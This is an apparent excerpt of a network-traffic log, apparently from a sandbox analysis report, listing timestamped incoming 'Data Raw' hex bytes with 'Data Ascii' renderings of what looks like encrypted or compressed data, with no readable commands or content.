83 a0 24 87 ee ca 46 ed e7 f8 c6 1f c4 94 56 fd 6d 5e c8 0a 4d af ea ea ee 51 9d 41 ee fe 32 64 ba 5c 7e 2b eb 9e 63 bc 32 15 Data Ascii: _>.Dkb=ey6{\|yc4.r[KXz=t=qlsp@lQw gnL>cP/tVv71)A@Zzo]2 yFv:7i7UE$FVm^MQA2d\~+c2
2023-01-25 08:44:47 UTC	1281	IN	Data Raw: 91 25 d5 1f 03 d3 09 0c 31 9e 79 d7 2a 92 e6 75 f3 c0 04 00 59 84 83 44 68 a4 5b 37 d8 b3 a7 a6 d8 ec 74 f1 ff 11 e3 1d ef 59 05 2b c2 89 8f 29 9c 9d ff e2 84 20 b6 b9 e8 de 09 9d ac fa 41 93 aa 0d fd 5f b0 2e 22 b8 93 52 03 3c 61 24 e9 db 67 49 95 e9 9f 50 66 47 75 16 e2 8c 35 ec e2 47 f8 e8 cf 38 e9 81 cf 64 b4 ca c9 17 6f f2 13 b8 b1 39 df f6 d7 9a b2 99 a6 65 8b 9d 45 8f ef c9 67 bc 6f a2 6e b4 02 cd af ca 36 33 7d e6 3a 64 91 d6 32 bf 42 e6 04 d9 7c 60 17 1c 62 06 3a b8 60 62 99 75 a8 84 05 aa a1 0f e0 79 94 f5 f3 77 27 d7 9d 1e 01 0f 43 6e 1b 2f d4 af 17 36 ed 9b 32 f2 56 25 73 9b fb a1 18 23 72 4f ba 00 71 d3 cc 50 79 a9 03 f6 95 35 24 fa 4c d5 ac ea 2d 6c 36 41 07 3c c2 df cb 38 77 d0 2d f1 f4 c2 59 45 09 df 2e 90 2a 1a 3f cd 3c 90 e6 05 ea 11 33 Data Ascii: %1yuYDh[7tY+) A_."R<a$gIPfGu5G8do9eEgon63}:d2B\|`b:`buyw'Cn/62V%s#rOqPy5$L-l6A<8w-YE.?<3
2023-01-25 08:44:47 UTC	1297	IN	Data Raw: 47 47 c9 78 45 5a 13 3d 71 52 aa 2b 23 1b d0 23 f2 a3 d8 05 c0 75 92 9d 01 15 69 3d ad 5d 6b 62 63 11 ec 36 1c e1 87 e7 42 f2 77 ba 2e 24 79 2d 65 81 fd 1d de 80 5f 3a 81 bf f8 3c d3 76 c7 6e 0f 2c 87 fd 85 cd 5e b6 dc bd cf b4 d2 b3 aa e2 34 f9 49 c5 2b 70 5e f9 2c a4 94 d8 b8 66 77 2f ba fe 52 a8 73 4d 65 cb c0 ae 61 04 c7 0e 15 96 3a b3 f2 a0 f0 1a f5 3e 68 fd df d0 f3 51 0b 87 dd c2 69 a4 81 b6 f0 71 4a a8 21 76 d3 87 ce 6d 46 fb 81 8f cf e5 fc be f1 5d cf 6d 3b 69 6c 65 1d 73 3b b4 3a b1 ba 77 cb a4 b3 c8 5c 83 48 da ee dd 79 61 a9 5c da 4a ef e1 68 82 b3 5d 6a 61 57 09 0f 31 cf 16 54 21 9f a5 0c 34 d6 cd 4d a1 63 bd 54 65 31 f3 8d ee 5e 8a 59 3a b1 52 87 1e e6 5c 28 c8 ca 84 24 0d d7 60 db 59 05 e3 22 0d c2 fb dd 57 7a 0f 75 ca b6 f9 4f 24 c0 6b 47 Data Ascii: GGxEZ=qR+##ui=]kbc6Bw.$y-e_:<vn,^4I+p^,fw/RsMea:>hQiqJ!vmF]m;iles;:w\Hya\Jh]jaW1T!4McTe1^Y:R\($`Y"WzuO$kG
2023-01-25 08:44:47 UTC	1313	IN	Data Raw: 30 ab 78 46 26 df db d8 c3 73 d4 4e 43 8e 09 62 1a e0 e7 cd 93 da 79 67 80 7f 2e 31 d3 f3 92 53 2f e6 92 cb 26 a5 ff 96 40 1c 41 ec b1 12 2a 12 2a a3 a0 05 b0 7f f0 7c 33 14 16 1e cb b3 4b 14 fd 9a d4 fe 98 58 5b 50 16 95 8a 34 48 46 6d 71 9c 6f 45 7d 67 7a 87 a0 9e 1d b2 9f 5e f0 e7 00 af 4c ed 24 5e 38 0d 8f 7b 72 a5 c8 ec cb d9 a7 99 b2 fd 56 3a a4 1f 6a 95 2f 2c dc 77 57 d6 4c 95 4e 90 ca be 58 98 ac 1b 1f 7b 17 fe 55 cb f2 ad 3f a8 3a 10 7d 37 5a 5a 89 b7 8c 9c aa 57 fe 25 37 58 70 d5 13 f6 2c 7f c7 94 82 ee 03 c4 ec 30 81 83 73 03 78 60 f4 55 fa a8 eb b7 d7 2c f5 11 57 f9 f2 32 4d fe c2 8f f6 12 fd ee 31 96 9b 51 ba 24 f5 30 c7 5a 9b 0c d5 95 30 b0 1e c8 ef 01 39 c9 3c 13 1d 44 3c 9d 49 c3 1e f9 80 6e 94 db ed 1e d9 5c c6 5d e5 e3 b4 26 3e b5 be 2d Data Ascii: 0xF&sNCbyg.1S/&@A**\|3KX[P4HFmqoE}gz^L$^8{rV:j/,wWLNX{U?:}7ZZW%7Xp,0sx`U,W2M1Q$0Z09<D<In\]&>-
2023-01-25 08:44:47 UTC	1329	IN	Data Raw: d3 8a ed 42 ee 5e 37 85 f8 0d cb dd 03 ec b4 ef 07 85 e8 ef e3 ab 7f 62 fa cf af bf e5 c9 c0 99 58 c3 9b ab e5 22 1f fa 32 51 ac 21 bf 72 2f 9e 6c 8c 79 a2 37 8e 7b 6e c5 c8 b5 7f 44 08 44 3d 40 51 9b f3 bc 83 c3 2d a1 c2 f6 12 c1 53 90 5f 7e 7b b8 45 4d 73 df 68 1c 86 e8 23 32 7a 49 c0 08 25 6b 14 8c a8 df 40 52 64 57 c0 7d 3c 3e 94 60 92 ec a6 eb 21 da 42 14 3c 70 e6 7f ef d0 01 cc a2 87 95 90 02 df cb 30 60 30 c7 8e df 74 70 52 83 e0 bf ae 86 c9 3d 4c cc 9a e6 b9 02 03 fe 8c 87 56 8f fb ee 13 0a 10 f7 d9 30 23 bc 0d 3e 2d ea a0 ac ba af f7 95 23 3c ec a2 a0 50 d9 8e ae cf 13 a5 93 7a ac 6c a0 ba 1d 23 c9 84 38 0d 97 89 ff 77 d2 b5 09 2f 34 c2 ab f2 17 89 fb a3 be 59 44 55 24 51 37 4b 79 58 0a ea fd d2 bc 91 93 5e 12 1b ea 99 14 7b a7 01 db 2b 1e 61 33 Data Ascii: B^7bX"2Q!r/ly7{nDD=@Q-S_~{EMsh#2zI%k@RdW}<>`!B<p0`0tpR=LV0#>-#<Pzl#8w/4YDU$Q7KyX^{+a3
2023-01-25 08:44:47 UTC	1345	IN	Data Raw: f0 b7 3b 80 e0 90 3d c6 f3 39 dc 7c ab 90 b7 44 52 8d 52 a7 c4 57 1a b4 8b 66 31 a9 5a 97 83 a4 05 d2 f5 22 ee df eb de 5d 5d 37 f2 e0 76 7e 83 ce b6 05 83 a4 64 c3 91 70 d4 cf ac 01 ed e0 e2 9e a3 ea e2 8f 97 87 8a 3c d8 17 16 d5 18 a5 58 2c ca b6 5f 7e 0e 74 f0 78 1d ea 50 21 26 d0 e9 96 84 d4 3f b1 a6 bc 7a 7d b1 7c 72 ee 91 2d c8 dc a9 af c6 d0 47 ba 91 0b 23 90 c7 ae 8d 31 a8 e5 cd 13 81 9a ff e3 6d 6f 4b 62 2e 28 16 0c a1 bf 33 04 47 39 1a 82 ac 1a 9e 4a d5 d7 e9 5d 0a a3 c0 a4 bf 6a 01 44 13 e9 6b cf 66 02 ed 0b 4e 3a c4 9e ae 64 4e fa c7 b0 58 c5 e0 9f 24 59 12 79 15 dd 1f 45 1b 51 97 8a 64 48 85 f8 97 31 1a ec 6f c5 42 f5 11 b5 62 10 29 9c 80 9a 9e f5 9e 3d 43 20 d2 0d 78 88 e8 a3 61 d9 1a 9f 72 45 c4 8f a4 37 ea bd a0 87 e0 fc eb 63 b8 f9 e8 7c Data Ascii: ;=9\|DRRWf1Z"]]7v~dp<X,_~txP!&?z}\|r-G#1moKb.(3G9J]jDkfN:dNX$YyEQdH1oBb)=C xarE7c\|
2023-01-25 08:44:47 UTC	1361	IN	Data Raw: d5 ef 7a c8 c5 9c 93 69 b1 2d 24 f3 68 bf 48 26 fd b8 3a 82 be ba f4 40 b9 30 90 a1 d4 59 23 52 a7 fd c9 5e 47 8c 1c 28 da a9 b6 7a f0 11 9f be 42 62 4c 58 c3 c1 7a 3f 23 25 f8 ee b0 2e 67 41 76 06 e9 3b 44 b1 3e 2d d2 53 f5 75 30 94 95 99 bb 97 e0 8f fa 1e db 02 8a c9 cf 60 4f ba 67 18 1d c4 21 b7 46 50 74 51 c0 34 f6 86 2f 3a b1 0e b0 65 b7 a1 99 87 d9 e7 7a cd f0 50 df 12 4e a4 65 ef 0c a1 0f 20 b9 61 80 15 68 2d e0 19 28 5d 02 45 29 3e b8 9a c2 3d 90 ae 33 a9 16 a3 a8 de 21 f4 37 d4 85 32 f9 a6 af a7 38 fc 85 ec 02 4f 6a 17 b8 c5 68 08 12 d7 31 5c 9d eb a7 e7 28 f1 4e b6 af 0e 66 7d 55 94 b7 9d ad 0f e5 a3 b1 15 5a da 9a de 1d 3a 3a 30 f7 f0 d4 00 dc d5 f3 50 95 a4 7f 87 e9 1e 64 99 95 45 c6 3f 0c 09 16 73 f4 63 cb 72 b2 4d 8b 3e b4 1d 7b 48 04 4d b8 Data Ascii: zi-$hH&:@0Y#R^G(zBbLXz?#%.gAv;D>-Su0`Og!FPtQ4/:ezPNe ah-(]E)>=3!728Ojh1\(Nf}UZ::0PdE?scrM>{HM
2023-01-25 08:44:47 UTC	1377	IN	Data Raw: 6c 75 3e e8 7e 76 2b c6 96 c8 66 45 01 fa 6f f9 45 fc f6 26 38 bf 3e 6e 8c 42 8d 5e 94 6a 4e 5b 74 c6 0e d3 c8 20 71 8e c7 70 4d 74 27 32 14 c3 17 17 2b 78 3b 63 4f f0 43 5a 49 43 d7 59 7e 51 a4 3e e2 3c b0 18 66 2e 32 2c be 9f de d5 4f 0d 5e 40 6c 88 07 8a 57 b9 2b 6f d2 1a 17 53 54 36 d9 a8 00 ee 1c 96 2f a1 b3 37 43 86 8b 16 b7 c0 21 4c c9 91 57 3b f7 93 54 18 62 76 05 57 23 e3 97 12 f2 63 f8 ef cf 86 92 b7 56 52 e6 a2 13 44 66 6a 96 cf 70 89 1d 78 e6 83 df 6f 5c 9d 13 76 3b 93 15 7a d2 f5 ed 8d bb c0 98 ab 2a d3 9b ff 47 d3 42 62 75 d1 af 53 21 f7 35 d0 9f 34 8a 25 13 0b 49 2c 3f 25 a6 a1 ca 64 8b a1 ac 79 38 b7 a4 d1 8c f2 b3 5f 68 96 ea 8a 47 6b 7a 1f 52 1c 65 ef 21 02 6e b6 cf fd fe a3 40 9e 9a f8 02 93 ba 91 e3 95 e1 76 f5 d4 aa d8 93 27 67 b0 81 Data Ascii: lu>~v+fEoE&8>nB^jN[t qpMt'2+x;cOCZICY~Q><f.2,O^@lW+oST6/7C!LW;TbvW#cVRDfjpxo\v;z*GBbuS!54%I,?%dy8_hGkzRe!n@v'g
2023-01-25 08:44:47 UTC	1393	IN	Data Raw: 7a 86 c0 d9 af c4 5c cb eb f1 9e 16 46 6c 23 b6 69 e8 49 aa 8e 5c f1 ca 06 b7 41 e6 97 66 09 59 8d 6d 3d 06 c2 9b ea 5c e1 4b 45 eb 57 cf b0 ec f2 a3 70 ec 9b 82 4a cd e8 99 9a d7 a8 f0 24 6c 86 55 5c ea 5a 3c 1a eb 5e f9 cf a5 b3 2f 2d 3d 23 56 23 02 36 c9 ce e4 39 fa ca 1d 9f 47 e6 f6 9e 7c 1b 03 ac 3a 3a a1 30 06 d0 86 c6 87 d2 be c5 53 33 76 75 c8 5c aa 10 cc 32 b7 c5 d5 9b 64 b2 3e 94 e9 d6 bb 59 b7 4f f3 60 6a ea ed 80 43 30 b7 25 1e ec 18 26 58 47 72 ca e2 ce 10 15 bf 63 52 5f 3d 31 f6 09 4f 0a ea 51 eb e6 8e 4a f4 8c b5 57 05 a3 ac 1e bb 3d a0 d8 c8 48 49 0d dc a5 cd c9 7f f2 a0 ee c6 a5 d9 08 9d 86 61 3a 76 03 f1 7b 79 98 9b 71 8f 94 2c c0 12 de 4c c7 b5 16 c8 aa 88 93 83 71 a7 05 93 87 e4 c3 28 3c f3 c0 ac cf b7 6b e4 82 85 6d e2 4e de 9a c3 e6 Data Ascii: z\Fl#iI\AfYm=\KEWpJ$lU\Z<^/-=#V#69G\|::0S3vu\2d>YO`jC0%&XGrcR_=1OQJW=HIa:v{yq,Lq(<kmN
2023-01-25 08:44:47 UTC	1409	IN	Data Raw: ce 60 e1 17 de 6f 1d b5 0b 7c e0 f0 bd 30 eb ab 3a 59 19 1a 8f cd f1 55 fe a9 27 d6 7a 64 d8 66 4b 30 3b 99 ee f5 d9 09 78 02 0f eb 92 45 26 15 c3 4d 7b 2e f7 ef 97 14 6f bb 8e ed c5 2a 48 ee ea 95 c6 ec 48 16 d3 5b 91 2b 08 c3 96 52 b7 1c a4 2a 5e ee 0f 4b 2a d1 9d f3 ad 3e 35 7c 61 7f 27 54 ea 9e 46 7d 74 0c 3a 19 16 7a 48 43 e0 27 31 7a 78 3d d6 f3 fb e6 96 52 8b 3a 62 1a 5d 43 3c ef 58 40 23 34 84 05 84 22 d6 73 67 0f 35 6b 29 34 57 55 61 0a fe df 9f 72 14 92 24 49 22 98 b1 7b 0f 32 84 b9 ef 7a 83 2d 31 30 91 dd 53 76 d4 2a ca 2c d2 16 94 16 6f 7e 8e 2f 3e d3 22 b0 c4 2b 3e 91 48 35 4a 73 07 09 d7 26 96 41 85 3e 79 6c ba b3 b5 eb 54 13 7f a5 33 1e 0e 98 14 04 f0 ee 97 01 f0 ba d3 54 6f 1f d9 26 4d 7a c2 b1 74 13 e5 07 56 13 9f 6e 89 92 b4 35 5b 76 ae Data Ascii: `o\|0:YU'zdfK0;xE&M{.oHH[+R^K>5\|a'TF}t:zHC'1zx=R:b]C<X@#4"sg5k)4WUar$I"{2z-10Sv,o~/>"+>H5Js&A>ylT3To&MztVn5[v
2023-01-25 08:44:47 UTC	1425	IN	Data Raw: a6 89 db 87 1b 9a c4 f2 ac e0 23 aa 09 16 40 ff c1 1f c9 c7 14 2f 58 e9 5f f2 7f 5a 5c f6 08 7b 98 93 c4 a5 69 27 95 41 99 27 7a 8c e6 b1 34 47 3c cd 38 64 80 46 a7 30 cf 5b 73 57 df 7f f6 4b 94 44 29 79 9d 58 bd fb f1 c4 2b 72 4c 48 4f 39 e3 d7 88 d1 0a 70 10 db a6 aa d5 ac c7 d8 7d 19 ef c7 c7 cc a4 66 48 7a 92 71 6a 73 d0 6a 37 36 c7 a2 1b 03 92 04 7d db b8 5c 94 d9 13 af 5e 4a 82 22 e7 d4 bc 5f 3d 7b c1 6f de 9b 3a a7 a6 31 44 41 4e 15 47 f0 91 d7 48 60 8d 26 c8 d3 4e ab e6 8d db bc 67 da e3 af f1 04 cd d0 3f b0 f6 f7 c8 78 b5 49 dd e6 03 34 60 b0 24 d3 2c b6 f5 dc 93 a8 c2 9c cf 62 6d 06 b9 20 43 63 d6 cc 00 e3 19 69 f6 68 01 f3 b8 10 1d 57 77 6d e3 4a 64 a9 da 6d ca e1 9c ce 31 2f f3 d4 cf 4e d3 68 a0 61 b4 d2 22 47 a5 c1 e3 d0 1c 8d bc dd 47 33 e5 Data Ascii: #@/X_Z\{i'A'z4G<8dF0[sWKD)yX+rLHO9p}fHzqjsj76}\^J"_={o:1DANGH`&Ng?xI4`$,bm CcihWwmJdm1/Nha"GG3
2023-01-25 08:44:47 UTC	1441	IN	Data Raw: 48 ff 01 40 1a 0e 50 4f 59 47 50 6e f0 90 f9 5d a5 de 21 1c 64 7d bd d6 27 d1 2f 80 09 0f 04 3f 28 8c 6a f5 6e 63 8a 2f 1e 21 01 d3 dc 3c 37 e2 92 a2 9a d3 55 23 0e dd 4c 80 04 31 ea 90 45 93 5c ce d7 ad a4 e5 44 b8 d4 bb b1 ce 26 2c 45 c0 c2 89 fb 13 95 38 ae fb 3a c7 c4 67 f0 f9 40 0c 23 7f 45 23 45 cd 44 ac e3 ce 2e 0d 92 96 26 e2 de 21 6c 12 68 55 e1 e6 f0 29 f8 60 04 2b ed 23 1e 61 1c 08 ea e7 f9 1a 3e 96 1c 75 4d 0b 48 aa e2 c5 bd fd 47 88 bb 67 65 ed 39 69 01 19 f1 fa 9b 23 5c 55 a7 69 dc 40 ad bd 59 ee 7a 2e f1 92 d1 aa d9 06 15 02 0e 9b d3 ee ba 2c e5 f6 df 53 f4 bc e0 95 d2 4c 5a 91 3e e4 78 0f d7 44 a5 e6 90 66 b5 de 40 9b 5d f1 4e b8 b9 29 f3 c2 0a 38 76 2e 80 6d f1 4b 66 b0 9c 43 c4 db 68 c3 ed e2 2a 58 4b 40 ee 5c dc 68 2a d7 aa 3a 7d 8d fa Data Ascii: H@POYGPn]!d}'/?(jnc/!<7U#L1E\D&,E8:g@#E#ED.&!lhU)`+#a>uMHGge9i#\Ui@Yz.,SLZ>xDf@]N)8v.mKfChXK@\h:}
2023-01-25 08:44:47 UTC	1457	IN	Data Raw: ba 9a 3f 56 7f a8 1c 71 60 e9 25 7b 77 1e 6d 92 8a 5f 60 57 90 aa 29 cd f1 e2 27 65 61 a3 34 c5 f2 74 88 b7 18 68 c3 ed 58 c3 14 a5 a4 96 5b 16 84 33 3d 4d 08 4d 0b 85 ef e1 b2 6a 1b 91 1c 78 f5 15 05 34 b4 4f b9 ca 92 55 0b 6d 2a bb 07 cd d5 31 b9 3f f3 d3 63 99 9e 49 41 e6 ab 49 40 b7 25 49 32 a0 b4 8c 1f 83 1a 54 9d 97 9a ce 9b e4 60 c5 aa c5 58 00 42 22 2c 84 6c a7 76 5e 7d b9 75 dc 8d 81 c8 29 29 53 63 be d7 39 11 46 db 4f f8 7d ac 84 dd f2 c6 70 44 c2 3f 8c 00 38 45 a3 84 e7 a6 df 37 5a 4b 77 a8 ff 10 cb 4d d5 4e 5d 1c ab 74 c5 df cc 88 d8 38 b8 d4 e1 e1 e6 a5 60 93 f1 28 66 11 f8 8f ae 03 35 38 7d ed 94 e1 94 0c 17 24 39 44 0b 24 42 d5 46 a0 6f 11 40 cb 1c e2 35 b4 5d b9 8a fc 93 43 29 a3 62 c1 71 84 fc 20 89 0e 98 57 a5 6e c0 ca ea 3a 3d ea a1 cc Data Ascii: ?Vq`%{wm_`W)'ea4thX[3=MMjx4OUm*1?cIAI@%I2T`XB",lv^}u))Sc9FO}pD?8E7ZKwMN]t8`(f58}$9D$BFo@5]C)bq Wn:=
2023-01-25 08:44:47 UTC	1473	IN	Data Raw: 7d 32 7b 8e 11 72 f3 83 61 41 41 1a 1c eb 90 d9 5e 11 de 93 4f 9b 85 83 70 99 34 ee a9 40 23 df de 19 01 e7 b7 1f ff 3e 7d 03 b4 19 4e ec 96 2f f9 47 30 32 4d bd d0 e4 2f 46 90 5f d6 6b 7b 7f e8 d1 04 7d 12 a8 1c 45 1f 05 4c 50 fe 70 b4 c8 ab c0 f3 1c 77 b4 f9 e8 b9 7e 2c b4 57 7b ad f6 ec 59 4d f6 52 17 42 2e 2e 0e 6e f2 7a c4 3f 51 15 3e 74 30 a3 8f 22 23 f3 cd ec d9 84 42 76 dd e2 f3 39 9f 3a b9 d0 6c bb 93 c7 73 85 50 6a 15 dd f4 fb 0e 7c 7b 4f 40 ee ce 19 68 2b 5b 2a 2e b6 64 ca fb 4f 84 7b 8b 42 f8 aa 86 4a 6e a7 2c 80 21 8a 61 3f aa ae dc f9 26 6f 21 2f ca 9d 0f 88 af e0 6f 43 1a ac 48 9e 93 b2 3c 4f c5 31 3f e2 a4 df 42 8d c2 eb a7 3b 4b e5 ab 84 75 29 72 3f eb ca 8e c1 0f a5 ee bb 6f d8 9b 0c 9a 64 79 27 92 65 39 4f 52 ed 2a 53 d1 97 fe a9 8d 28 Data Ascii: }2{raAA^Op4@#>}N/G02M/F_k{}ELPpw~,W{YMRB..nz?Q>t0"#Bv9:lsPj\|{O@h+[.dO{BJn,!a?&o!/oCH<O1?B;Ku)r?ody'e9ORS(
2023-01-25 08:44:47 UTC	1489	IN	Data Raw: 85 cd 74 81 26 68 60 8c e9 0e e9 6c 5d 31 47 38 27 6f 1e bb a9 1e f8 ab e5 54 49 7a e6 64 bb 93 f3 7f 83 f4 c0 05 00 64 5c 1e c6 bc 84 6a 91 21 d1 1c 28 62 21 cf 85 6b 7c 88 8d e3 3b 0d 49 37 07 cc f6 84 20 54 5a 21 04 5a 1c f3 dc f5 0d 68 9d 0d 27 13 b4 19 8a 71 1e be 9a cf ff 32 0e 26 36 76 e3 60 e2 bf 8c ab 85 08 9f 7a e7 22 dc a3 c6 b4 f5 56 0a 14 bd b4 1f 08 a4 45 f1 ad e9 f1 8b b4 c5 7d 8c 4f 12 dc 70 17 19 3e b3 01 bc 4d 98 e7 9e 90 0f ed fd a3 a2 3a 13 7b ea 45 93 7e 92 13 6a c9 89 04 19 12 22 9a 95 c3 1e 9e fa 74 9c 39 3e 0b 05 b5 00 1f 53 15 a0 91 86 79 15 3c 3c bf bf 95 e2 82 fe 12 19 9a 51 1b f4 b6 b4 5a e2 1d 03 15 69 dc 1d e4 63 32 d2 69 d0 eb 53 ee 76 3d 65 2c 4b a3 2c f1 be aa 5e d3 0e 8c 9f c9 5e d9 29 bb 8d 21 dc 97 ba 24 e8 bf c5 07 c4 Data Ascii: t&h`l]1G8'oTIzdd\j!(b!k\|;I7 TZ!Zh'q2&6v`z"VE}Op>M:{E~j"t9>Sy<<QZic2iSv=e,K,^^)!$
2023-01-25 08:44:47 UTC	1505	IN	Data Raw: f3 98 d5 9f ae b6 a3 67 da d7 df 45 77 d3 3d b1 5d f7 57 c3 2b c0 66 8e 92 4b 01 15 c2 ba cc e2 b7 ef 6a 64 e0 b3 67 dd 39 64 1e d2 dc b8 e9 cd 82 f9 d4 2a b9 84 c8 c2 79 f5 7d b5 2b 1d df c4 5e 08 af f0 fd 2f 23 d3 5f eb fe 79 e4 5a 99 c4 ca 30 00 8c 18 80 c7 f0 ee 52 aa d2 27 cb 01 77 99 2a 17 73 27 bc eb 29 0c 8a 75 9e 38 eb 47 3e ab d5 b3 5a 0e fa ff 6e b4 dd ef 23 f0 d5 8f 1e 4a 29 05 7d f6 1f bd 79 21 e2 2e 9c d7 bf 9f 08 70 6f 18 26 df 12 cf cd 63 5b 89 92 c1 75 ad f1 51 bd b6 c7 1f 76 85 3d c2 93 5a 47 5a 47 c4 52 50 57 5d d6 f9 11 51 7a 37 32 d2 b8 b7 78 26 79 c1 c7 40 04 55 2c 8d 60 cb f1 14 d7 f0 b5 f9 8c 67 9a 29 65 96 3b 68 73 e6 b9 e3 d9 dd 45 c3 e8 1c 71 0c d9 bc 36 42 69 59 63 b8 66 8a 64 57 8a 55 d2 b6 32 2c 9c 99 1d 33 cd 40 0d 07 66 cc Data Ascii: gEw=]W+fKjdg9dy}+^/#_yZ0R'ws')u8G>Zn#J)}y!.po&c[uQv=ZGZGRPW]Qz72x&y@U,`g)e;hsEq6BiYcfdWU2,3@f
2023-01-25 08:44:47 UTC	1521	IN	Data Raw: d0 a4 d4 9b 95 5a d6 d9 07 a8 c0 15 0a 21 7b dd 2d 83 ee 25 8b ff be 49 83 df 10 61 61 2d f7 c0 d0 a4 50 9a 19 1f 07 4b da 79 63 e2 b4 98 46 81 87 4c 6b 5b 1e 58 80 4f f5 1b 80 6c 39 c9 84 63 5f a9 67 a8 80 d4 91 82 d7 01 34 ae a5 44 cc 13 b8 e2 c0 4b cd d9 75 b5 0d e4 48 57 15 5e 95 ea 98 58 c4 44 87 d0 e6 52 ce 14 03 53 3f c7 60 dd f2 56 aa b8 81 60 73 81 6c 32 fb 36 47 36 e4 c2 44 27 64 98 e3 6c 29 c8 a0 4e e4 0f 17 a5 b5 f3 92 51 f1 2d 7b 0e af ea 2f 7b 69 78 17 19 8b 58 f6 fc 63 fa de 28 9b c1 c6 05 a6 2c e5 1b 85 86 e4 45 43 1d 15 c2 90 cd 65 50 a1 f5 ad 09 33 bf 7b 6f 8d 0f 79 54 4a 0d 52 7a a0 66 94 6a b5 0a cc cf 05 ff 1c 29 0c bd 0b f1 ef 89 4a 79 48 4b 34 02 39 62 65 1b 84 f3 a5 f3 a2 4d 11 e5 24 37 bb c8 f3 03 22 b4 9d 35 d6 d9 5b b6 7f 44 b6 Data Ascii: Z!{-%Iaa-PKycFLk[XOl9c_g4DKuHW^XDRS?`V`sl26G6D'dl)NQ-{/{ixXc(,ECeP3{oyTJRzfj)JyHK49beM$7"5[D
2023-01-25 08:44:47 UTC	1537	IN	Data Raw: bf 0b 1d 2f ef 2d fa 2a c3 07 89 8e fb c4 da 3d b4 a3 94 11 0b a6 47 58 42 50 4d ef 7e 06 23 bc b9 91 af 4f ef 26 c2 0f c9 0f 2c a9 61 63 cc 72 ec d3 d4 a9 7b 66 03 71 43 1a 35 db c7 b2 68 5e 3d 18 7c cd 00 17 dc b6 5b 7c 53 20 f2 d6 f6 08 35 33 f0 e7 2f af 5c 28 de 19 c9 4d 5f 44 a1 b4 a3 c5 1c 06 71 0f de e1 32 35 3f f9 e8 99 20 46 c5 8e d2 64 3c b4 88 87 6b 9f ff ed dc 68 61 a0 80 fa e1 b0 ae a7 0c 9a fa 8f 7b 97 15 38 29 01 e4 ff 8b a3 a7 eb 1a b5 5c 1a 61 84 61 bf d3 9f a9 09 a1 cb da 5b c8 ef 01 f2 82 98 e2 59 1e 90 8e 76 d1 58 02 71 09 5a 41 33 bb ad 5e b6 ab 8d 39 24 84 57 0c 55 e1 f3 e2 6f cd 2f 73 70 77 ce 4b fd ab 03 16 18 fd d1 60 3d 4b f5 76 10 63 90 f1 2e 4f 86 e1 c3 76 9f 1f 80 36 71 c8 b5 95 9f 28 23 d1 f3 01 ef 0e 80 2f b9 c7 87 4c eb 68 Data Ascii: /-*=GXBPM~#O&,acr{fqC5h^=\|[\|S 53/\(M_Dq25? Fd<kha{8)\aa[YvXqZA3^9$WUo/spwK`=Kvc.Ov6q(#/Lh
2023-01-25 08:44:47 UTC	1553	IN	Data Raw: e8 03 93 1b f7 d4 98 da 63 93 fb 57 e1 9f 41 67 4e 0a 07 5c 4b 88 5a f7 a7 31 c6 21 07 1b 34 64 7f 76 56 31 f7 61 a4 b5 d9 64 2f 13 5f af 74 40 de 1a 32 3a cd 32 cf b3 0f 67 31 15 08 74 41 56 cf 6a 59 f5 ac 7b d8 67 3c e2 55 d3 b6 0d 57 15 2a 0e 57 16 c1 0c 01 50 e3 93 cc 5a 85 2d da 80 c8 94 c0 c3 63 fb 75 13 d3 50 00 8c 02 38 93 fd 69 a8 ee e8 b4 5b 80 78 87 72 21 cc fb e8 68 1b 17 df 92 b5 30 fc e9 1a 14 7b d7 93 76 3e b6 28 fe 23 78 98 3d 71 fc 45 2e ee ef b3 f9 e9 e9 57 4f 2b a1 6a 68 9c 6c cc 1c 51 80 e5 ba 23 c7 9c 4b c0 b0 57 18 a2 04 63 00 41 88 a8 75 26 a6 1b 4a c6 f5 46 4c d0 49 a5 f1 f7 91 a9 25 24 d6 f6 c6 a7 18 2e 6f e4 61 df 49 ab cd 38 40 ed 90 11 7e 61 19 48 f9 f6 a7 fe 05 e2 67 dd 6c 33 98 ee 84 10 94 5a c1 63 5f 3d 8d 24 da 84 0f 78 7a Data Ascii: cWAgN\KZ1!4dvV1ad/_t@2:2g1tAVjY{g<UW*WPZ-cuP8i[xr!h0{v>(#x=qE.WO+jhlQ#KWcAu&JFLI%$.oaI8@~aHgl3Zc_=$xz
2023-01-25 08:44:47 UTC	1569	IN	Data Raw: 97 8f 2a 23 aa da c6 18 a2 cd 72 aa 57 1d 2f a8 fa 69 25 52 2c c2 b1 7e a1 f9 40 9d 56 e2 33 d7 de 43 07 dc 4f bd b6 39 01 0d 92 e0 3c 7d a2 7d a0 be 98 45 2a a1 8c 19 6b a4 9b 0c ce c8 59 f5 fe 9a 3d a3 f3 2c e3 bc 5c b3 ca ca 38 0d 2d 71 e9 25 bc f4 15 8e 0e 71 25 47 ea 09 44 df 88 54 e6 ad 5b 4a 78 b2 fd 6e 40 47 79 e7 6d 8d 90 2b ff 7a 07 10 6b 6c 48 48 98 69 42 ec f5 d1 85 07 04 6a c4 8c cf 97 e0 81 0c 76 7c 90 66 d9 da 54 a4 b4 33 c5 93 af c0 df 18 08 e0 b7 7a 70 b0 10 3d c5 2b 3e 9c 49 f3 ad 07 8c e8 ec bd 03 43 f2 4e 6d 2c 20 b6 c8 f0 4c 91 4b 5b 70 ef 53 7d 7b 72 48 21 59 0a 81 c4 4c 00 6e 66 d1 6f f7 88 28 a5 3c a3 db 67 27 10 e0 9d 0e 0d 67 17 0e 91 a9 3b c6 03 46 c3 bc 48 33 9d 75 83 70 59 29 a0 2b e4 7f f7 26 34 e1 99 56 c9 d2 8c 49 f4 53 f6 Data Ascii: #rW/i%R,~@V3CO9<}}EkY=,\8-q%q%GDT[Jxn@Gym+zklHHiBjv\|fT3zp=+>ICNm, LK[pS}{rH!YLnfo(<g'g;FH3upY)+&4VIS
